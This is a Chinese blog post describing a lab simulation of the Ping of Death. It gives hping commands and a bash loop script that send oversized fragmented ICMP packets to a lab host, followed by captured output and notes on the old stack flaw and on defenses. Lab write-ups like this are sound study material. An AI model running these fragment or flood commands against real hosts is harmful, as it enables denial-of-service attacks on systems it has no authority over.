您的位置:首页 > 其它

模拟实现死亡之Ping(Ping of death)

2010-08-21 17:50 507 查看
需求描述
使用hping构造IP分片,模拟实现死亡之Ping



环境搭建
使用VMWare和Dynamips。
实现思路
构造重装后大于65535字节的IP分片
hping 192.168.1.1 -1 -x -d 1400 -N 100 -c 1
for ((i=1;i<50;i++))
do
j=`expr $i \* 1408`
hping 192.168.1.1 -1 -x -d 1400 -g $j -N 100 -c 1
done
hping 192.168.1.1 -1 -d 1000 -g 70400 -N 100 -c 1
实验实施
1. 在PC2上安装Hping源码包
[root@localhost ~]# tar zxf hping2.0.0-rc3.tar.gz
[root@localhost ~]# ls
anaconda-ks.cfg Desktop hping2.0.0-rc3.tar.gz hping2-rc3 install.log install.log.syslog
[root@localhost ~]# mv hping2-rc3/ hping
[root@localhost ~]# cd hping
[root@localhost hping]# ./configure
[root@localhost hping]# make && make install
2. 在Web主机上定位Sniffer上定义过滤器用来抓包






3. 在PC2上用ping命令发送在和大小为70000的ICMP包
[root@localhost ~]# ping 192.168.1.1 -s 70000 -c 1
Error: packet size 70000 is too large. Maximum is 65507
##系统报错:允许发送的ICMP包的子啊和最大为65507.
4. 用hping命令,发送数据为7000的ICMP包
[root@localhost ~]# hping 192.168.1.1 -1 -d 70000 -c 1
HPING 192.168.1.1 (eth0 192.168.1.1): icmp mode set, 28 headers + 4464 data bytes
len=1500 ip=192.168.1.1 ttl=127 DF id=57 icmp_seq=0 rtt=39.8 ms
--- 192.168.1.1 hping statistic ---
1 packets tramitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 39.8/39.8/39.8 ms
##可以看到,只截取了4464字节的数据
5. 在Web服务器上启用sniffer抓包



6. 在PC2上编辑一个脚本,先发送两个小IP分片测试
[root@localhost ~]# vim pingcs.sh
[root@localhost ~]# more pingcs.sh
#!/bin/bash
hping 192.168.1.1 -1 -x -d 800 -N 100 -c 1
hping 192.168.1.1 -1 -d 200 -g 808 -N 100 -c 1
[root@localhost ~]# chmod +x pingcs.sh
[root@localhost ~]# ./pingcs.sh
HPING 192.168.1.1 (eth0 192.168.1.1): icmp mode set, 28 headers + 800 data bytes
--- 192.168.1.1 hping statistic ---
1 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
HPING 192.168.1.1 (eth0 192.168.1.1): icmp mode set, 28 headers + 200 data bytes
--- 192.168.1.1 hping statistic ---
1 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
7. 在Web主机上查看抓到的IP分片






8. 在PC2上发送重装后大于65535字节的IP分片
[root@localhost ~]# vim pingofdeath.sh
[root@localhost ~]# more pingofdeath.sh
#!/bin/bash
hping 192.168.1.1 -1 -x -d 1400 -N 100 -c 1
for ((i=1;i<50;i++))
do
j=`expr $i \* 1408`
hping 192.168.1.1 -1 -x -d 1400 -g $j -N 100 -c 1
done
hping 192.168.1.1 -1 -d 1000 -g 70400 -N 100 -c 1
[root@localhost ~]# chmod +x pingofdeath.sh
[root@localhost ~]# ./pingofdeath.sh
--- 192.168.1.1 hping statistic ---
1 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

9. 在Web主机上启用sniffer抓包,可以看到很多IP分片,从中找到offset=64768的包






 
补充:
 
死亡之Ping(ping of death)
对目标IP不停地Ping探测从而致使目标主机网络瘫痪。常见工具有蜗牛炸弹、AhBomb等。
由于在早期的阶段,路由器对包的最大尺寸都有限制,许多操作系统对TCP/IP栈的实现在ICMP包上都是规定64KB,并且在对包的标题头进行读取之后,要根据该标题头里包含的信息来为有效载荷生成缓冲区,当产生畸形的,声称自己的尺寸超过ICMP上限的包也就是加载的尺寸超过64K上限时,就会出现内存分配错误,导致TCP/IP堆栈崩溃,致使接受方死机。
防御:现在所有的标准TCP/IP实现都已实现对付超大尺寸的包,并且大多数防火墙能够自动过滤这些攻击,包括:从windows 98之后的windows NT(service pack 3之后),Solaris、和Mac OS都具有抵抗一般ping of death攻击的能力。此外,对防火墙进行配置,阻断ICMP以及任何未知协议,都讲防止此类攻击。
ping -t -l 65500 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
 
至此、实验完毕!
欢迎来我的博客:http://jiayf.blog.51cto.com/
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  Ping 模拟 休闲 死亡 death